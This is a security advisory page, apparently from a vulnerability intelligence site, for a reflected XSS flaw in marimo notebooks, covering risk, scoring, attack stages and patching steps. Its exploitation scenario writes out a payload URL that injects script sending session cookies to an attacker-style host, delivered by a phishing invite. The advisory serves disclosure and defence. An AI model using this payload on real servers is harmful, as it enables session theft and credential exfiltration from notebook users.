CVE-2026-54386: marimo: reflected XSS enables JS injection in notebooks

GHSA-8m59-7xv8-735h MEDIUM
Published June 17, 2026
CISO Take

marimo before 0.23.9 contains a reflected XSS vulnerability where the `file` query parameter is unsafely echoed into an inline JavaScript string literal, allowing attackers to inject arbitrary code via a crafted link prefixed with `__new__` that bypasses the server's 404 guard. The complete absence of Content-Security-Policy on the affected page means injected scripts execute with full origin privileges — enabling session token theft, credential exfiltration, or authenticated notebook manipulation without any further privilege escalation. With CVSS 6.1, no public exploit code, and no KEV listing, exploitation requires user interaction, but data scientists working in shared or cloud-hosted marimo environments represent a realistic target given their access to API keys, model weights, and sensitive training data stored in the same origin. Patch to marimo >= 0.23.9 immediately; if patching cannot happen at once, restrict notebook server access to localhost or a VPN and treat inbound notebook share links with the same suspicion as any phishing vector.

Sources: NVD GitHub Advisory ATLAS VulnCheck Advisory

What is the risk?

Medium raw severity (CVSS 6.1), but contextually elevated in AI/ML environments where marimo instances may be exposed on internal networks or cloud VMs accessed by practitioners holding high-value credentials. Attack complexity is low and no privileges are required — the only gate is a single user click on a crafted link. The missing CSP removes the browser-level mitigation that would otherwise limit injected script scope, amplifying impact well beyond what CVSS captures. No public exploit or KEV listing keeps urgency at moderate, but the target profile — ML engineers whose sessions may be co-located with cloud provider API keys, Hugging Face tokens, or proprietary model artifacts — elevates effective business risk above the CVSS score alone.

How does the attack unfold?

Initial Access
Attacker crafts a marimo URL with a `file` parameter payload prefixed with `__new__` to bypass the 404 check, embedding a JavaScript payload inside the improperly escaped string literal.
AML.T0011.003
Delivery
The malicious link is distributed to a targeted data scientist or ML engineer via phishing email, Slack, or a spoofed notebook-sharing notification that mimics legitimate team collaboration.
AML.T0052
Exploitation
Victim clicks the link; the marimo server reflects the unsanitized file parameter into an inline script block, executing the injected code in the marimo origin with no CSP to block it.
AML.T0049
Impact
Injected JavaScript exfiltrates session tokens, environment variables containing AI API keys, or triggers authenticated notebook cell execution to read and steal model files or training data.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter Notebook pip < 0.23.9 0.23.9
13.3K OpenSSF 5.8 2.9K dependents Pushed today 67% patched ~235d to patch Full package profile →
marimo No patch

How severe is it?

CVSS 3.1
6.1 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 15% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Changed
C Low
I Low
A None

What should I do?

5 steps
  1. Upgrade marimo to version 0.23.9 or later — commit fdd55c8 fixes the single-quote escaping bug in the file parameter reflection path.

  2. If immediate patching is blocked, restrict marimo server network exposure to localhost or a VPN-gated network; externally unreachable servers cannot be targeted by crafted public links.

  3. As defense-in-depth, configure a Content-Security-Policy response header that enforces script-src 'self' and eliminates inline script execution — this would have mitigated this class of XSS independently of the fix.

  4. Audit your environment for any marimo instances accessible outside a trusted perimeter using internal network scans or cloud security group reviews.

  5. Brief data science and ML engineering teams: treat links to marimo instances from untrusted sources with the same caution as credential phishing links, particularly those containing unusual or encoded query parameters.

What does CISA's SSVC say?

Decision Track
Exploitation none
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9 - Risk management system
ISO 42001
A.6.2.6 - AI system security
NIST AI RMF
MEASURE 2.5 - AI system security and resilience evaluation
OWASP LLM Top 10
LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-54386?

marimo before 0.23.9 contains a reflected XSS vulnerability where the `file` query parameter is unsafely echoed into an inline JavaScript string literal, allowing attackers to inject arbitrary code via a crafted link prefixed with `__new__` that bypasses the server's 404 guard. The complete absence of Content-Security-Policy on the affected page means injected scripts execute with full origin privileges — enabling session token theft, credential exfiltration, or authenticated notebook manipulation without any further privilege escalation. With CVSS 6.1, no public exploit code, and no KEV listing, exploitation requires user interaction, but data scientists working in shared or cloud-hosted marimo environments represent a realistic target given their access to API keys, model weights, and sensitive training data stored in the same origin. Patch to marimo >= 0.23.9 immediately; if patching cannot happen at once, restrict notebook server access to localhost or a VPN and treat inbound notebook share links with the same suspicion as any phishing vector.

Is CVE-2026-54386 actively exploited?

No confirmed active exploitation of CVE-2026-54386 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54386?

1. Upgrade marimo to version 0.23.9 or later — commit fdd55c8 fixes the single-quote escaping bug in the file parameter reflection path. 2. If immediate patching is blocked, restrict marimo server network exposure to localhost or a VPN-gated network; externally unreachable servers cannot be targeted by crafted public links. 3. As defense-in-depth, configure a Content-Security-Policy response header that enforces script-src 'self' and eliminates inline script execution — this would have mitigated this class of XSS independently of the fix. 4. Audit your environment for any marimo instances accessible outside a trusted perimeter using internal network scans or cloud security group reviews. 5. Brief data science and ML engineering teams: treat links to marimo instances from untrusted sources with the same caution as credential phishing links, particularly those containing unusual or encoded query parameters.

What systems are affected by CVE-2026-54386?

This vulnerability affects the following AI/ML architecture patterns: AI/ML notebook environments, Shared data science workstations, Interactive ML development servers, Cloud-hosted reactive notebook platforms.

What is the CVSS score for CVE-2026-54386?

CVE-2026-54386 has a CVSS v3.1 base score of 6.1 (MEDIUM). The EPSS exploitation probability is 0.24%.

What is the AI security impact?

Affected AI Architectures

AI/ML notebook environmentsShared data science workstationsInteractive ML development serversCloud-hosted reactive notebook platforms

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 9
ISO 42001: A.6.2.6
NIST AI RMF: MEASURE 2.5
OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

marimo before 0.23.9 contains a reflected cross-site scripting vulnerability in the notebook page that allows unauthenticated attackers to inject arbitrary JavaScript by exploiting improper escaping of single quotes in the file query parameter reflected into an inline JavaScript string literal. Attackers can craft a malicious link with a payload beginning with __new__ to bypass the 404 check and inject JavaScript into the page, which executes without Content-Security-Policy restrictions in the origin of a victim's marimo server.

Exploitation Scenario

An adversary targeting an ML team identifies through LinkedIn or GitHub that developers use marimo for interactive notebook sharing. The attacker crafts a URL such as `https://marimo.internal/?file=__new__';fetch('https://c2.attacker.io/x?d='+btoa(document.cookie))//` and delivers it as a 'shared notebook' invite via a phishing email or Slack DM that spoofs a known colleague. When the data scientist clicks the link, the marimo server reflects the unsanitized file value into an inline script block in the HTML response and the browser executes the injected JavaScript in the marimo origin — sending session cookies or auth tokens to the attacker's exfiltration endpoint. With the stolen session, the attacker opens authenticated API calls to read environment variables (API keys for cloud AI services), list accessible notebook files, or execute new cells that stream proprietary model weights or training datasets to external storage.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Timeline

Published
June 17, 2026
Last Modified
July 14, 2026
First Seen
June 18, 2026

Related Vulnerabilities